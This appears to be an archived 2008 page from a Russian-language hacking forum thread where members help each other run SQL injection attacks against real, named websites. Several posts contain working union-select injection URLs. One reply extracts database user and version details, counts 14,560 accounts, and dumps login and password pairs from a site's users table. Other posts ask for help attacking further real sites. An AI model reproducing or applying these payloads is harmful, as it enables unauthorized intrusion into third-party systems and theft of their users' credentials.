ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости
Перезагрузить страницу Ваши вопросы по уязвимостям.
   
Ответ
Страница 332 из 1393 « Первая < 232282322 328 329 330 331 332 333 334 335 336 3423824328321332 > Последняя »
 
Опции темы Поиск в этой теме Опции просмотра

  #3311  
Старый 19.09.2008, 21:20
j0ker13
Участник форума
Регистрация: 28.07.2008
Сообщений: 199
Провел на форуме:
861008

Репутация: 58
По умолчанию
jokester дык это понятна на счет Hex() а почему он ругается именно на Union?) кодировка же нужна тока при выводе колонки а не самой команде))
 
Ответить с цитированием

  #3312  
Старый 19.09.2008, 21:27
Jokester
Members of Antichat - Level 5
Регистрация: 18.02.2008
Сообщений: 1,136
Провел на форуме:
17621293

Репутация: 4915


По умолчанию
j0ker13
Учи английский
А если нужен практический пример то в соседнем топике лежит инъекция:
https://forum.antichat.ru/showpost.php?p=870637&postcount=6661

Попробуй её без конверта , и увидишь такую-же ошибку
 
Ответить с цитированием

  #3313  
Старый 19.09.2008, 21:36
j0ker13
Участник форума
Регистрация: 28.07.2008
Сообщений: 199
Провел на форуме:
861008

Репутация: 58
По умолчанию
2jokester ладна) по идее это правильно?) -1+union+select+convert(1,2,3,4,5,6,7,8,9,0,1,2+usi ng+cp1251) но выдает ошибку ; check the manual that corresponds to your MySQL server version for the right syntax to use near '2,3,4,5,6,7,8,9,0,1,2 using cp1251)/* ORDER BY date DESC LIMIT 0
 
Ответить с цитированием

  #3314  
Старый 19.09.2008, 21:37
Jokester
Members of Antichat - Level 5
Регистрация: 18.02.2008
Сообщений: 1,136
Провел на форуме:
17621293

Репутация: 4915


По умолчанию
Киньте линк, что-то гадание на кофейной гуще какое-то.
Последний раз редактировалось jokester; 19.09.2008 в 21:40..
 
Ответить с цитированием

  #3315  
Старый 19.09.2008, 21:39
j0ker13
Участник форума
Регистрация: 28.07.2008
Сообщений: 199
Провел на форуме:
861008

Репутация: 58
По умолчанию
http://mp3db.ru/index.php?cid=9&subcid=-1+union+select+convert(1,2,3,4,5,6,7,8,9,0,1,2+usi ng+utf8)/*
 
Ответить с цитированием

  #3316  
Старый 19.09.2008, 21:46
Jokester
Members of Antichat - Level 5
Регистрация: 18.02.2008
Сообщений: 1,136
Провел на форуме:
17621293

Репутация: 4915


По умолчанию
http://mp3db.ru/index.php?cid=9&subcid=-18+union+select+1,null,null,null,concat_ws(0x3a,Us er(),Database(),Version()),6,null,null,null,null,n ull,null/*

http://mp3db.ru/index.php?cid=9&subcid=-18+union+select+1,null,null,null,count(*),6,null,n ull,null,null,null,null+from+users/*
14560 юзеров

юзеры
http://mp3db.ru/index.php?cid=9&subcid=-18+union+select+1,null,null,null,concat_ws(0x3a,lo gin,passwd),6,null,null,null,null,null,null+from+u sers/*

Выводятся все так что юзай лимит )
Последний раз редактировалось jokester; 19.09.2008 в 21:52..
 
Ответить с цитированием

  #3317  
Старый 19.09.2008, 21:48
j0ker13
Участник форума
Регистрация: 28.07.2008
Сообщений: 199
Провел на форуме:
861008

Репутация: 58
По умолчанию
2jokester гг) спс) уже нашел эту базу)) еще вопрос) еси при лоад_файл не показывает ошибки и в принтабельном столбце пусто то однозначно нет файл_прив?)
Последний раз редактировалось j0ker13; 19.09.2008 в 22:04..
 
Ответить с цитированием

  #3318  
Старый 19.09.2008, 22:05
DJ ][akep
Познающий
Регистрация: 27.01.2008
Сообщений: 57
Провел на форуме:
355954

Репутация: 32
По умолчанию
Помогите с PostgreSQL столбцы подобрал (54)
Цитата:
http://support.kharkiv.ukrtelecom.ua/news/?id=-1+union+select+null,null,null,null,null,null,null, null,null,null,null,null,null,null,null,null,null, null,null,null,null,null,null,null,null,null,null, null,null,null,null,null,null,null,null,null,null, null,null,null,null,null,null,null,null,null,null, null,null,null,null,null,null,null--
 
Ответить с цитированием

  #3319  
Старый 19.09.2008, 22:48
KHR3b
Новичок
Регистрация: 19.09.2008
Сообщений: 6
Провел на форуме:
52651

Репутация: 0
Отправить сообщение для KHR3b с помощью ICQ
По умолчанию
народ, помогите плиз с этим: http://ashdoda.net/modules.php?name=Photo_Albums&file=show_photo&phot o_id=%2724616
чо только не пытался, без результатов...
 
Ответить с цитированием

  #3320  
Старый 20.09.2008, 04:38
geforce
Постоянный
Регистрация: 21.08.2008
Сообщений: 302
Провел на форуме:
458686

Репутация: -25
Отправить сообщение для geforce с помощью ICQ
По умолчанию
Если phpBB 3,0,1 Пропаченый где взять инфу про его баги и уязвимости?
 
Ответить с цитированием
Ответ
Страница 332 из 1393 « Первая < 232282322 328 329 330 331 332 333 334 335 336 3423824328321332 > Последняя »



« Предыдущая тема | Следующая тема »
Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился) PEPSICOLA Болталка 188 23.05.2010 10:05
Ваши любимые компьютерные игры PEPSICOLA Болталка 280 19.08.2009 00:01
Ваши телеги... F-IFTY Болталка 13 18.08.2009 18:22
Вопросы по Ipb 2.0 Voodoo_People Форумы 26 15.02.2005 22:57



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ